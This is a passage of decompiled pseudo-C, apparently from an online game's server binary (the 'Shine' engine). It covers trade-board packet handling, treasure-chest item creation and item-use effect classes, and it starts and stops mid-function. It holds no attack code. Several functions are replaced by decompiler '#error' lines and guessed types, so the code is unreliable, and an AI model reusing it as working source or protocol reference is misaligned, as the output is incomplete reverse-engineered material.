*)(v10 + 8) != -1, "ShineObjectClass::ShinePlayer::sp_NC_TRADE_UPBOARD_REQ : Upboard empty cell", 0) ) { (*(void (__thiscall **)(int, signed int, signed int))(*(_DWORD *)v5 + 776))(v5, 19, 14); LABEL_28: v25 = -1; goto LABEL_29; } if ( !ItemDataBox::idb_BelongedItem(&itemdatabox, *(_WORD *)(v10 + 8)) && !ItemDataBox::idb_NoTrade(&itemdatabox, *(_WORD *)(v10 + 8)) && !ItemGroupClassifier::igc_ChargedDuringUse( &itemgroupclassifier, *(ItemAttributeClass **)(v10 + 112), (ItemTotalInformation *)v10) ) { if ( TradeBoard::tb_OnBoard(v24, *(_BYTE *)(netcmd + 2)) == -1 ) { (*(void (__thiscall **)(int, signed int, signed int))(*(_DWORD *)v5 + 776))(v5, 19, 14); } else { v11 = (*(int (__thiscall **)(int))(*(_DWORD *)v5 + 1916))(v5); (*(void (__thiscall **)(int))(*(_DWORD *)v11 + 36))(v11); (*(void (__thiscall **)(int, int))(*(_DWORD *)v6 + 1912))(v6, v5); v12 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 19471; v13 = *(_BYTE *)(netcmd + 2); v12[3] = netcmd; v12[2] = v13; v14 = ProtocolPacket::pp_SetPacketLen(&gpp, 4); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v14, "ShineObjectClass::ShinePlayer::sp_NC_TRADE_UPBOARD_REQ : Packet Too Long", 4) ) { v15 = (*(int (__thiscall **)(int))(*(_DWORD *)v5 + 764))(v5); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v15 + 12))(v15, v5, &gpp); } *(_WORD *)v12 = 19472; v12[2] = netcmd; v16 = ItemTotalInformation::iti_fill2buffer_union( (ItemTotalInformation *)v10, *(ItemAttributeClass **)(v10 + 112), *(_WORD *)(v10 + 8), v12 + 3); v17 = v16 - v12; v18 = ProtocolPacket::pp_SetPacketLen(&gpp, v16 - v12); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v18, "ShineObjectClass::ShinePlayer::sp_NC_TRADE_UPBOARD_REQ : Packet Too Long", v17) ) { v19 = (*(int (**)(void))(**(_DWORD **)v23 + 764))(); (*(void (__thiscall **)(int, _DWORD, ProtocolPacket *))(*(_DWORD *)v19 + 12))(v19, *(_DWORD *)v23, &gpp); } } goto LABEL_28; } } (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v5 + 776))(v5, 19, 14); goto LABEL_28; } (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v5 + 776))(v5, 19, 14); v25 = -1; LABEL_29: FunctionEntarance::_FunctionEntarance(&_); } // 5233A0: could not find valid save-restore pair for edi //----- (00523780) -------------------------------------------------------- int __thiscall TreasureChestMaker::tcm_GetItemNum(TreasureChestMaker *this) { return this->tcm_ItemNum; } //----- (00523790) -------------------------------------------------------- void __thiscall TreasureChestMaker::TreasureChestMaker(TreasureChestMaker *this, unsigned __int16 chest, int makeflag, int chestflag) { TreasureChestMaker *v4; // esi@1 int v5; // ST08_4@3 CServerInfo::MY_SERVER *v6; // eax@3 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "TreasureChestMaker::TreasureChestMaker"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "TreasureChestMaker::TreasureChestMaker"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4->tcm_ItemNum = 0; if ( ItemDataBox::operator__(&itemdatabox, chest)->data->Class == 15 ) { v5 = ZoneServer::zs_worlddata(&zoneserver)->nWorldNo; v6 = ZoneServer::zs_worlddata(&zoneserver); ItemTotalInformation::iti_mkregnum(v4->tcm_rewarditem, makeflag, v6->nZoneNo, v5); v4->tcm_rewarditem[0].iti_itemstruct.itemid = chest; v4->tcm_rewarditem[0].iti_itemstruct.itemattr.blot.lot = 16 * chestflag; v4->tcm_ItemNum = 1; } else { AssertClass::ac_AssertFail(&shineassert, "TreasureChestMaker::TreasureChestMaker : Not ItemChest", chest); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "TreasureChestMaker::TreasureChestMaker"); } //----- (005238A0) -------------------------------------------------------- void __thiscall TreasureChestMaker::_TreasureChestMaker(TreasureChestMaker *this) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "TreasureChestMaker::~TreasureChestMaker"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "TreasureChestMaker::~TreasureChestMaker"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "TreasureChestMaker::~TreasureChestMaker"); } //----- (005238E0) -------------------------------------------------------- unsigned __int16 __thiscall TreasureChestMaker::tcm_ItemMake(TreasureChestMaker *this, ItemTotalInformation *iti) { TreasureChestMaker *v2; // ebx@1 int v3; // edx@1 unsigned __int16 result; // ax@2 signed int v5; // edi@3 int v6; // edi@5 unsigned __int16 v7; // si@5 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "TreasureChestMaker::tcm_ItemMake(ItemTotalInformation *iti)"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "TreasureChestMaker::tcm_ItemMake(ItemTotalInformation *iti)"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; v3 = funcallanalizer.fca_stackpoint++ + 1; if ( iti ) { v5 = v2->tcm_ItemNum; if ( v5 <= 8 ) { v6 = (int)((char *)v2 + 111 * v5); memcpy((void *)v6, iti, 0x6Cu); v6 += 108; *(_WORD *)v6 = *(_WORD *)((char *)&iti->iti_itemstruct.itemattr.binditem.portal[9].y + 1); *(_BYTE *)(v6 + 2) = BYTE3(iti->iti_itemstruct.itemattr.binditem.portal[9].y); *(_QWORD *)&v2->tcm_rewarditem[0].iti_registnum.binary.gap0[8 * v2->tcm_ItemNum++ + 3] = *(_QWORD *)&iti->iti_registnum.binary.gap0[0]; v7 = iti->iti_itemstruct.itemid; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "TreasureChestMaker::tcm_ItemMake(ItemTotalInformation *iti)"); result = v7; } else { AssertClass::ac_AssertFail(&shineassert, "TreasureChestMaker::tcm_ItemMake : Too many content", v5 <= 8); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "TreasureChestMaker::tcm_ItemMake(ItemTotalInformation *iti)"); result = -1; } } else { funcallanalizer.fca_stackpoint = v3 - 1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "TreasureChestMaker::tcm_ItemMake(ItemTotalInformation *iti)"); result = -1; } return result; } //----- (00523A30) -------------------------------------------------------- unsigned __int16 __thiscall TreasureChestMaker::tcm_ItemMake(TreasureChestMaker *this, int makeflag, ShineReward *reward, unsigned int clsmask) { TreasureChestMaker *v4; // esi@1 signed int v5; // edx@1 int v6; // eax@3 int v7; // edi@3 int v9; // ST08_4@9 CServerInfo::MY_SERVER *v10; // eax@9 ItemAttributeClass *v11; // eax@9 ItemDataBox::ItemDataBoxIndex *v12; // eax@9 ItemInfoServer *v13; // eax@10 char *v14; // eax@11 ItemRandomOption::RandomOptionDatum *v15; // ebx@12 ItemAttributeClass *v16; // eax@12 ItemOptionStorage *v17; // eax@12 int v18; // eax@15 int v19; // edx@15 char *v20; // [sp-4h] [bp-24h]@2 FunctionEntarance _; // [sp+10h] [bp-10h]@1 int v22; // [sp+1Ch] [bp-4h]@1 v4 = this; _.fe_FunctionCode = "TreasureChestMaker::tcm_ItemMake(ShineReward *reward, DWRD clsmask)"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "TreasureChestMaker::tcm_ItemMake(ShineReward *reward, DWRD clsmask)"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "TreasureChestMaker::tcm_ItemMake(ShineReward *reward, DWRD clsmask)"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = v4->tcm_ItemNum; v22 = 0; if ( v5 >= 8 ) { AssertClass::ac_AssertFail(&shineassert, "TreasureChestMaker::tcm_ItemMake : Too many content", v5 < 8); v22 = -1; v20 = "TreasureChestMaker::tcm_ItemMake(ShineReward *reward, DWRD clsmask)"; LABEL_6: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v20); return -1; } LOWORD(v6) = ItemGroupClassifier::igc_Getitem(&itemgroupclassifier, reward->Argument, clsmask); v7 = v6; if ( (_WORD)v6 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "TreasureChestMaker::tcm_ItemMake : Item not found", reward->Argument); LABEL_5: v22 = -1; v20 = "TreasureChestMaker::tcm_ItemMake(ShineReward *reward, DWRD clsmask)"; goto LABEL_6; } if ( ItemDataBox::operator__(&itemdatabox, v6) == 0 ) { AssertClass::ac_AssertFail(&shineassert, "TreasureChestMaker::tcm_ItemMake : Invalid item", (unsigned __int16)v7); goto LABEL_5; } v9 = ZoneServer::zs_worlddata(&zoneserver)->nWorldNo; v10 = ZoneServer::zs_worlddata(&zoneserver); ItemTotalInformation::iti_mkregnum((ItemTotalInformation *)v4 + v4->tcm_ItemNum, makeflag, v10->nZoneNo, v9); v4->tcm_rewarditem[v4->tcm_ItemNum].iti_itemstruct.itemid = v7; v11 = ItemAttributeClassContainer::operator__(&itmattcontainer, v7); (*(void (__thiscall **)(ItemAttributeClass *, int, ShineReward *, char *))((void (__thiscall **)(_DWORD, _DWORD, _DWORD, _DWORD))&v11->vfptr->iac_GetAttrSize + 1))( v11, v7, reward, (char *)v4 + 111 * v4->tcm_ItemNum); v12 = ItemDataBox::operator__(&itemdatabox, v7); if ( !v12 || (v13 = v12->dataserv) == 0 || (v14 = v13->RandomOptionDropGroup) == 0 ) goto LABEL_5; v15 = ItemRandomOption::RandomOptionTable::operator__(&itemrandomoptiontable, v14); v16 = ItemAttributeClassContainer::operator__(&itmattcontainer, v7); v17 = v16->vfptr->iac_GetItemOptionStruct(v16, &v4->tcm_rewarditem[v4->tcm_ItemNum].iti_itemstruct); if ( v15 ) { if ( v17 ) ItemRandomOption::RandomOptionTable::rot_FillOption(&itemrandomoptiontable, v17, v15); } v18 = v4->tcm_ItemNum; v19 = v4->tcm_ItemNum; *(_DWORD *)&v4->tcm_rewarditem[0].iti_registnum.binary.gap0[8 * v18 + 3] = *(_DWORD *)&v4->tcm_rewarditem[v19].iti_registnum.binary.gap0[0]; *(int *)((char *)&v4->tcm_rewarditem[0].iti_registnum.binary._bf4 + 8 * v18 + 3) = v4->tcm_rewarditem[v19].iti_registnum.binary._bf4; ++v4->tcm_ItemNum; v22 = -1; FunctionEntarance::_FunctionEntarance(&_); return v7; } //----- (00523C70) -------------------------------------------------------- int __thiscall TreasureChestMaker::tcm_PutInto(TreasureChestMaker *this, int from, PROTO_ITEM_CMD *itmlst, int emptyslot, TreasureChestLocationManager *tcm, unsigned __int16 nInvenType) { TreasureChestMaker *v6; // edi@1 int v7; // edx@1 int result; // eax@2 PROTO_ITEM_CMD *v9; // eax@3 int v10; // ebp@3 PROTO_ITEM_CMD *v11; // esi@3 int v12; // eax@4 int v13; // edi@4 ItemAttributeClass *v14; // eax@9 char v15; // bl@9 char v16; // bl@11 int v17; // esi@15 TreasureChestMaker *v18; // [sp+8h] [bp-14h]@1 ItemTotalInformation *froma; // [sp+20h] [bp+4h]@4 v6 = this; v18 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "TreasureChestMaker::tcm_PutInto"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "TreasureChestMaker::tcm_PutInto"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; v7 = funcallanalizer.fca_stackpoint++ + 1; if ( v6->tcm_ItemNum ) { v9 = itmlst; v6->tcm_rewarditem[0].iti_itemstruct.itemattr.blot.lot ^= (v6->tcm_rewarditem[0].iti_itemstruct.itemattr.blot.lot ^ (LOBYTE(v6->tcm_ItemNum) - 1)) & 0xF; v10 = from; itmlst->numofitem = 0; v11 = itmlst + 1; if ( from < v6->tcm_ItemNum ) { while ( 1 ) { v12 = (int)((char *)v6 + 111 * v10); v13 = *(_WORD *)(v12 + 8); froma = (ItemTotalInformation *)v12; if ( !(ItemDataBox::operator__(&itemdatabox, *(_WORD *)(v12 + 8))->data != 0) ) { AssertClass::ac_AssertFail( &shineassert, "TreasureChestMaker::tcm_PutInto : Invalid ItemID found", (unsigned __int16)v13); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "TreasureChestMaker::tcm_PutInto"); return 0; } if ( v10 ) { *(_WORD *)&v11[1].numofitem = 10240; if ( tcm->baseclass_0.bs_maxbit ) *tcm->baseclass_0.bs_bitlist |= 1u; } else { *(_WORD *)&v11[1].numofitem = (nInvenType << 10) ^ emptyslot & 0x3FF; } v14 = ItemAttributeClassContainer::operator__(&itmattcontainer, v13); v15 = (char)&ItemTotalInformation::iti_fill2buffer_whole(froma, v14, v13, &v11[3].numofitem)[-(_BYTE)v11 - 3]; if ( v10 ) ItemsInChest::iic_StoreItem(&itemsinchest, froma); v16 = v15 + 2; v11->numofitem = v16; ++itmlst->numofitem; ++v10; v11 += (unsigned __int8)v16 + 1; if ( v10 >= v18->tcm_ItemNum ) break; v6 = v18; } v9 = itmlst; } v17 = v11 - v9; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "TreasureChestMaker::tcm_PutInto"); result = v17; } else { funcallanalizer.fca_stackpoint = v7 - 1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "TreasureChestMaker::tcm_PutInto"); result = 0; } return result; } //----- (00523E90) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@2 v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0xA3Eu, 0x3Eu) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (00523F40) -------------------------------------------------------- void __thiscall UpgradeDataBox::UpgradeDataBox(UpgradeDataBox *this) { char *v1; // edi@1 v1 = (char *)&this->udb_BinData; CCharacterTitleData::CCharacterTitleData(&this->udb_BinData.baseclass_0); v1 += 60; memset(v1, 0, 0x3Cu); *((_WORD *)v1 + 30) = 0; } //----- (00523F70) -------------------------------------------------------- void __thiscall UpgradeDataBox::udb_Load(UpgradeDataBox *this, Name4 *world) { UpgradeDataBox *v2; // esi@1 UpGradeInfo *v3; // edi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "UpgradeDataBox::udb_Load"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "UpgradeDataBox::udb_Load"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2->udb_default = &v2->udb_BinData.bdb_defaultblock; BinaryDataBox::bdb_ReadData(&v2->udb_BinData, "../9Data/Shine/UpGradeInfo.shn"); v3 = v2->udb_default; v2->udb_Number = v2->udb_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; memset(v3, 0, 0x3Cu); v3->Updata[11] = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "UpgradeDataBox::udb_Load"); } //----- (00524030) -------------------------------------------------------- SkillDataBox::SkillDataIndex *__thiscall UseEffect::UsedItemEffect::uie_UseSkillID(UseEffect::UsedItemEffect *this, char *skillname) { unsigned int v2; // eax@1 SkillDataBox::SkillDataIndex *result; // eax@2 v2 = BTree::operator__(&skillnametree, skillname); *(_DWORD *)&skillbtreeunion = v2; if ( v2 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "UseEffect::UsedItemEffect::uie_UseSkillID : Not found", skillname); result = 0; } else { if ( *((_BYTE *)&skillbtreeunion + 2) ) { AssertClass::ac_AssertFail(&shineassert, "UseEffect::UsedItemEffect::uie_UseSkillID : Passive", skillname); result = 0; } else { result = SkillDataBox::operator__(&skilldatabox, v2); if ( !result ) { AssertClass::ac_AssertFail(&shineassert, "UseEffect::UsedItemEffect::uie_UseSkillID : Skill", skillname); result = 0; } } } return result; } //----- (005240C0) -------------------------------------------------------- void __thiscall UseEffect::UsedItemEffect::uie_BroadCast(UseEffect::UsedItemEffect *this, unsigned __int16 item, char bc) { this->uie_FuncStruct[item].broadcast = bc; } //----- (005240E0) -------------------------------------------------------- void __thiscall UseEffect::UsedItemEffect::uie_SetChargedBuffer(UseEffect::UsedItemEffect *this, unsigned __int16 item, UseEffect::UseItemBase *uib, SkillDataBox::SkillDataIndex *uie) { int v4; // eax@1 v4 = item; this->uie_FuncStruct[v4].useeffectstruct = &this->uie_DefStruct; this->uie_FuncStruct[v4].useitemclass = uib; this->uie_FuncStruct[v4].useskill = uie; } //----- (00524120) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::AbstateElementInObject::aeo_GetIndex(ORErrorMessage *this) { return this->orem_Message; } //----- (00524130) -------------------------------------------------------- void __thiscall UseEffect::UseItemSilverWing::UseItemSilverWing(UseEffect::UseItemSilverWing *this) { this->baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemSilverWing::_vftable_; } // 5D0F80: using guessed type int (__stdcall *UseEffect__UseItemSilverWing___vftable_)(int, int itm); //----- (00524140) -------------------------------------------------------- void __thiscall UseEffect::UseItemNormal::UseItemNormal(UseEffect::UseItemNormal *this) { this->baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemNormal::_vftable_; } // 5D0F90: using guessed type int (__stdcall *UseEffect__UseItemNormal___vftable_)(int, int itm); //----- (00524150) -------------------------------------------------------- void __thiscall UseEffect::UseItemRecallScroll::UseItemRecallScroll(UseEffect::UseItemRecallScroll *this) { this->baseclass_0.baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemRecallScroll::_vftable_; } // 5D0FA0: using guessed type int (__stdcall *UseEffect__UseItemRecallScroll___vftable_)(int, int itm); //----- (00524160) -------------------------------------------------------- void __thiscall UseEffect::UseItemSkillScroll::UseItemSkillScroll(UseEffect::UseItemSkillScroll *this) { this->baseclass_0.baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemSkillScroll::_vftable_; } // 5D0FB0: using guessed type int (__stdcall *UseEffect__UseItemSkillScroll___vftable_)(#440 *, int itm); //----- (00524170) -------------------------------------------------------- void __thiscall UseEffect::UseItemChest::UseItemChest(UseEffect::UseItemChest *this) { this->baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemChest::_vftable_; } // 5D0FC0: using guessed type int (__stdcall *UseEffect__UseItemChest___vftable_)(int, int itm); //----- (00524180) -------------------------------------------------------- void __thiscall UseEffect::UseItemByTable::UseItemByTable(UseEffect::UseItemByTable *this) { this->baseclass_0.baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemByTable::_vftable_; } // 5D0FD0: using guessed type int (__stdcall *UseEffect__UseItemByTable___vftable_)(int, int itm); //----- (00524190) -------------------------------------------------------- void __thiscall UseEffect::UseItemChargedBuff::UseItemChargedBuff(UseEffect::UseItemChargedBuff *this) { this->baseclass_0.baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemChargedBuff::_vftable_; } // 5D0FE0: using guessed type int (__stdcall *UseEffect__UseItemChargedBuff___vftable_)(int, int itm); //----- (005241A0) -------------------------------------------------------- void __thiscall UseEffect::UseItemMiniHouse::UseItemMiniHouse(UseEffect::UseItemMiniHouse *this) { this->baseclass_0.baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemMiniHouse::_vftable_; } // 5D0FF0: using guessed type int (__stdcall *UseEffect__UseItemMiniHouse___vftable_)(int, int itm); //----- (005241B0) -------------------------------------------------------- void __thiscall UseEffect::UseItemActionItem::UseItemActionItem(UseEffect::UseItemActionItem *this) { this->baseclass_0.baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemActionItem::_vftable_; } // 5D1000: using guessed type int (__stdcall *UseEffect__UseItemActionItem___vftable_)(int, int itm); //----- (005241C0) -------------------------------------------------------- void __thiscall UseEffect::UseItemMiniHouseFurniture::UseItemMiniHouseFurniture(UseEffect::UseItemMiniHouseFurniture *this) { this->baseclass_0.baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemMiniHouseFurniture::_vftable_; } // 5D1010: using guessed type int (__stdcall *UseEffect__UseItemMiniHouseFurniture___vftable_)(int, int itm); //----- (005241D0) -------------------------------------------------------- void __thiscall UseEffect::UseItemRide::UseItemRide(UseEffect::UseItemRide *this) { this->baseclass_0.baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemRide::_vftable_; } // 5D1020: using guessed type int (__stdcall *UseEffect__UseItemRide___vftable_)(#331 *, int itm); //----- (005241E0) -------------------------------------------------------- void __thiscall UseEffect::UseItemHorseFood::UseItemHorseFood(UseEffect::UseItemHorseFood *this) { this->baseclass_0.baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemHorseFood::_vftable_; } // 5D1030: using guessed type int (__stdcall *UseEffect__UseItemHorseFood___vftable_)(int, int itm); //----- (005241F0) -------------------------------------------------------- void __thiscall UseEffect::UseItemChest::_UseItemChest(UseEffect::UseItemNoEffect *this) { this->baseclass_0.baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemBase::_vftable_; } // 5D0F70: using guessed type int (__stdcall *UseEffect__UseItemBase___vftable_)(int, int itm); //----- (00524200) -------------------------------------------------------- void __thiscall UseEffect::UseItemItemPackage::UseItemItemPackage(UseEffect::UseItemItemPackage *this) { this->baseclass_0.baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemItemPackage::_vftable_; } // 5D1040: using guessed type int (__stdcall *UseEffect__UseItemItemPackage___vftable_)(int, int itm); //----- (00524210) -------------------------------------------------------- void __thiscall UseEffect::UseItemLicenseClear::UseItemLicenseClear(UseEffect::UseItemLicenseClear *this) { this->baseclass_0.baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemLicenseClear::_vftable_; } // 5D1050: using guessed type int (__stdcall *UseEffect__UseItemLicenseClear___vftable_)(int, int itm); //----- (00524220) -------------------------------------------------------- void __thiscall UseEffect::UseItemStatClear::UseItemStatClear(UseEffect::UseItemStatClear *this, int dbreq, int err) { this->baseclass_0.baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemStatClear::_vftable_; this->uisc_DBReqCommand = dbreq; this->uisc_ErrCommand = err; } // 5D1060: using guessed type int (__stdcall *UseEffect__UseItemStatClear___vftable_)(int, int itm); //----- (00524240) -------------------------------------------------------- void __thiscall UseEffect::UseItemAmountHP::UseItemAmountHP(UseEffect::UseItemAmountHP *this) { this->baseclass_0.baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemAmountHP::_vftable_; } // 5D1070: using guessed type int (__stdcall *UseEffect__UseItemAmountHP___vftable_)(int, int itm); //----- (00524250) -------------------------------------------------------- void __thiscall UseEffect::UseItemAmountSP::UseItemAmountSP(UseEffect::UseItemAmountSP *this) { this->baseclass_0.baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemAmountSP::_vftable_; } // 5D1080: using guessed type int (__stdcall *UseEffect__UseItemAmountSP___vftable_)(int, int itm); //----- (00524260) -------------------------------------------------------- void __thiscall UseEffect::UseItemRoar::UseItemRoar(UseEffect::UseItemRoar *this) { this->baseclass_0.baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemRoar::_vftable_; } // 5D1090: using guessed type int (__stdcall *UseEffect__UseItemRoar___vftable_)(int, int itm); //----- (00524270) -------------------------------------------------------- void __thiscall UseEffect::UseItemSkillErase::UseItemSkillErase(UseEffect::UseItemSkillErase *this) { this->baseclass_0.baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemSkillErase::_vftable_; } // 5D10A0: using guessed type int (__stdcall *UseEffect__UseItemSkillErase___vftable_)(int, int itm); //----- (00524280) -------------------------------------------------------- void __thiscall UseEffect::UseItemWingStone::UseItemWingStone(UseEffect::UseItemWingStone *this) { this->baseclass_0.baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemWingStone::_vftable_; } // 5D10B0: using guessed type int (__stdcall *UseEffect__UseItemWingStone___vftable_)(int, int itm); //----- (00524290) -------------------------------------------------------- void __thiscall UseEffect::UseItemMemoryFeather::UseItemMemoryFeather(UseEffect::UseItemMemoryFeather *this) { this->baseclass_0.baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemMemoryFeather::_vftable_; } // 5D10C0: using guessed type int (__stdcall *UseEffect__UseItemMemoryFeather___vftable_)(int, int itm); //----- (005242A0) -------------------------------------------------------- void __thiscall UseEffect::UseItemBossMobDetect::UseItemBossMobDetect(UseEffect::UseItemBossMobDetect *this) { this->baseclass_0.baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemBossMobDetect::_vftable_; } // 5D10D0: using guessed type int (__stdcall *UseEffect__UseItemBossMobDetect___vftable_)(int, int itm); //----- (005242B0) -------------------------------------------------------- void __thiscall UseEffect::UseItemSkillDummy2Real::UseItemSkillDummy2Real(UseEffect::UseItemSkillDummy2Real *this) { this->baseclass_0.baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemSkillDummy2Real::_vftable_; } // 5D10E0: using guessed type int (__stdcall *UseEffect__UseItemSkillDummy2Real___vftable_)(int, int itm); //----- (005242C0) -------------------------------------------------------- signed __int16 __thiscall ShineObjectClass::ShinePlayer::sp_CanRecallInThisMap(void *this) { void *v1; // esi@1 int v2; // edi@2 const char *v3; // eax@2 signed __int16 result; // ax@2 v1 = this; if ( (unsigned __int8)(*(int (**)(void))(*(_DWORD *)this + 2556))() ) { result = 1792; } else { v2 = *(_DWORD *)v1; v3 = ShineScript::ss_String(&shinescriptetc, "RecallDisableField"); (*(void (__thiscall **)(void *, const char *))(v2 + 1836))(v1, v3); result = 1807; } return result; } //----- (00524300) -------------------------------------------------------- unsigned __int16 __thiscall UseEffect::UseItemBase::uib_CanUseItem(UseEffect::UseItemBase *this, #440 *a2, ItemTotalInformation *itm) { return 1794; } //----- (00524310) -------------------------------------------------------- unsigned __int16 __thiscall UseEffect::UseItemBossMobDetect::uib_CanUseItem(UseEffect::UseItemBossMobDetect *this, #440 *a2, ItemTotalInformation *itm) { return 1792; } //----- (00524320) -------------------------------------------------------- #error "524320: undefined or illegal type '#440' (funcsize=34)" //----- (00524380) -------------------------------------------------------- #error "524380: undefined or illegal type '#440' (funcsize=26)" //----- (005243D0) -------------------------------------------------------- unsigned __int16 __thiscall UseEffect::UseItemSkillDummy2Real::uib_CanUseItem(UseEffect::UseItemSkillDummy2Real *this, #440 *a2, ItemTotalInformation *itm) { return ShineObjectClass::ShinePlayer::sp_CanItemMakeItem((void *)a2); } //----- (005243E0) -------------------------------------------------------- #error "5243E0: undefined or illegal type '#331' (funcsize=4)" //----- (005243F0) -------------------------------------------------------- #error "5243F0: undefined or illegal type '#331' (funcsize=6)" //----- (00524410) -------------------------------------------------------- void __thiscall UseEffect::UseItemPropose::UseItemPropose(UseEffect::UseItemPropose *this) { this->baseclass_0.baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemPropose::_vftable_; } // 5D10F0: using guessed type int (__stdcall *UseEffect__UseItemPropose___vftable_)(#331 *, int itm); //----- (00524420) -------------------------------------------------------- #error "524420: undefined or illegal type '#440' (funcsize=89)" //----- (00524520) -------------------------------------------------------- #error "524520: undefined or illegal type '#440' (funcsize=31)" //----- (00524590) -------------------------------------------------------- void __thiscall UseEffect::UseItemImmediateDivorce::UseItemImmediateDivorce(UseEffect::UseItemImmediateDivorce *this) { this->baseclass_0.baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemImmediateDivorce::_vftable_; } // 5D1130: using guessed type int (__stdcall *UseEffect__UseItemImmediateDivorce___vftable_)(int, int itm); //----- (005245A0) -------------------------------------------------------- #error "5245A0: undefined or illegal type '#440' (funcsize=11)" //----- (005245D0) -------------------------------------------------------- #error "5245D0: undefined or illegal type '#440' (funcsize=92)" //----- (00524720) -------------------------------------------------------- void __thiscall UseEffect::UseItemGuildReName::UseItemGuildReName(UseEffect::UseItemGuildReName *this) { this->baseclass_0.baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemGuildReName::_vftable_; } // 5D1150: using guessed type int (__stdcall *UseEffect__UseItemGuildReName___vftable_)(int, int itm); //----- (00524730) -------------------------------------------------------- void __thiscall UseEffect::UseItemGuildReType::UseItemGuildReType(UseEffect::UseItemGuildReType *this) { this->baseclass_0.baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl 